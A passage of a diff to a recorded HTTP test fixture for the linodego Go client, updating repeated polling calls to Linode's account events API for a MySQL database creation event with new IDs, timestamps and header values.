GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4889,7 +5181,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4906,14 +5198,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4928,16 +5220,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:50:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4953,7 +5248,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4970,14 +5265,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4992,16 +5287,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:50:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5017,7 +5315,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5034,14 +5332,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5056,16 +5354,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:51:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5081,7 +5382,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5098,14 +5399,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5120,16 +5421,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:51:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5145,7 +5449,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5162,14 +5466,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5184,16 +5488,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:51:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5209,7 +5516,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5226,14 +5533,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5248,16 +5555,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:51:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5273,7 +5583,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5290,14 +5600,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5312,16 +5622,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:52:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5337,7 +5650,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5354,14 +5667,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5376,16 +5689,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:52:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5401,7 +5717,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5418,14 +5734,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5440,16 +5756,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:52:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5465,7 +5784,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5482,14 +5801,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5504,16 +5823,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:52:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5529,7 +5851,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5546,14 +5868,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5568,16 +5890,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:53:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5593,7 +5918,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5610,14 +5935,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5632,16 +5957,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:53:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5657,7 +5985,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5674,14 +6002,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5696,16 +6024,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:53:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5721,7 +6052,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5738,14 +6069,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5760,16 +6091,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:53:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5785,7 +6119,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5802,14 +6136,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5824,16 +6158,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:54:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5849,7 +6186,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5866,14 +6203,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5888,16 +6225,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:54:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5913,7 +6253,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5930,14 +6270,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - 